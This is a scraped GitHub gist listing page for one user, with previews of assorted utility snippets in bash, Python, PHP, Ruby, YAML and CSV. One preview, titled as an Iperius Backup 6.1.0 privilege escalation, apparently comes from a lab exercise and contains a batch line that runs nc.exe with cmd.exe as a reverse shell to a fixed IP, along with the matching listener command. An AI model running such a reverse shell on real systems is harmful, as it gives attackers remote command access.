Skip to content

Instantly share code, notes, and snippets.

View alivx's full-sized avatar
😇
our business is life itself

Ali alivx

😇
our business is life itself
View GitHub Profile
@alivx
alivx / getFileandContent.sh
Last active July 10, 2023 11:23
List file name and content
#!/bin/bash
# Predefined list of directories
dir_list=(
dirlist
)
# List of file types to exclude
exclude_list=(
"*.zip"
"*.log"
@alivx
alivx / combine_word_documents.py
Created April 24, 2023 13:35
combine_word_documents.py
import os
from openpyxl import load_workbook
from docx import Document
from docxtpl import DocxTemplate
# Open files
main_path = r"C:\Users\ACER\Desktop\Laith-temp"
template_path = os.path.join(main_path, 'ActivityTemp.docx')
@alivx
alivx / timezone-mappings.csv
Created December 6, 2022 21:46 — forked from alejzeis/timezone-mappings.csv
Linux-Windows Timezone Mappings CSV
AUS Central Standard Time 001 Australia/Darwin
AUS Central Standard Time AU Australia/Darwin
AUS Eastern Standard Time 001 Australia/Sydney
AUS Eastern Standard Time AU Australia/Sydney Australia/Melbourne
Afghanistan Standard Time 001 Asia/Kabul
Afghanistan Standard Time AF Asia/Kabul
Alaskan Standard Time 001 America/Anchorage
Alaskan Standard Time US America/Anchorage America/Juneau America/Metlakatla America/Nome America/Sitka America/Yakutat
Aleutian Standard Time 001 America/Adak
Aleutian Standard Time US America/Adak
@alivx
alivx / checkImage.php
Created September 23, 2022 12:15
Check installed php Image support
<?php
function check_image_support()
{
echo 'Checking Image Support: '."\n";
//IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM
if (imagetypes() & IMG_GIF)
echo "GIF: \tYes";
else
echo "GIF: \tNo";
@alivx
alivx / Iperius Backup 6.1.0 - Privilege Escalation.md
Last active December 13, 2021 20:03
Iperius Backup 6.1.0 - Privilege Escalation

#Source @echo off C:/Users/McSkidy/Downloads/nc.exe -nv 10.10.89.237 1992 -nv -e cmd.exe

#Des nc -nlvp 1992

change password

@echo off

@alivx
alivx / config.yaml
Created November 28, 2021 09:54
Disk mount and bind
interfaces:
- name: var
path: /var
fstype: ext4
size: 20
dev: "xvdb"
opts: defaults,nofail,comment=cloudconfig,rw,nosuid,nodev,relatime
uuid: 'UUID"
location: /system/var
@alivx
alivx / network-cap.sh
Created November 11, 2021 20:45
Get network traffic data
tshark -2 -r /tmp/network.pcap -R "tcp.port==45442" -o "gui.column.format:\"Time\",\"%Yt\",\"No.\",\"%m\",\"Time\",\"%t\",\"Source\",\"%s\",\"Destination\",\"%d\",\"Protocol\",\"%p\",\"Length\",\"%L\",\"Info\",\"%i\""
@alivx
alivx / slack.rb
Created November 11, 2021 20:35
Monit slack ruby script
"ruby -e ""
require 'net/https'
require 'json'
uri = URI.parse('https://hooks.slack.com/services/xx/xx/xx')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Post.new(uri.request_uri, {'Content-Type' => 'application/json'})
request.body = { \""channel\"" => \""#general\"", \""username\"" => \""mmonit\"", \""text\"" => \""[#{ENV['MONIT_HOST']}] #{ENV['MONIT_SERVICE']} - #{ENV['MONIT_DESCRIPTION']}\"" }.to_json
response = http.request(request)
puts response.body
@alivx
alivx / str_dist_merge.py
Created April 23, 2021 18:58
str_dist_merge
def merge_dict(nested_dist):
"""Convert nested dict to one dist
Args:
nested_dist (str): str nested dist
Returns:
[dist]: merged dist
"""
@alivx
alivx / Ubuntu passwd, Shadow, group and other files
Created January 10, 2021 22:05
Ubuntu passwd, Shadow, group and other files
The format of the/etc/shadow file is as follows:
Username:password:last_change:min_change:max_change:warm:failed_expire:expiration:reserved.
The contents of the/etc/passwd file are as follows:
Each line consists of a semicolon-delimited string of characters, in the following format: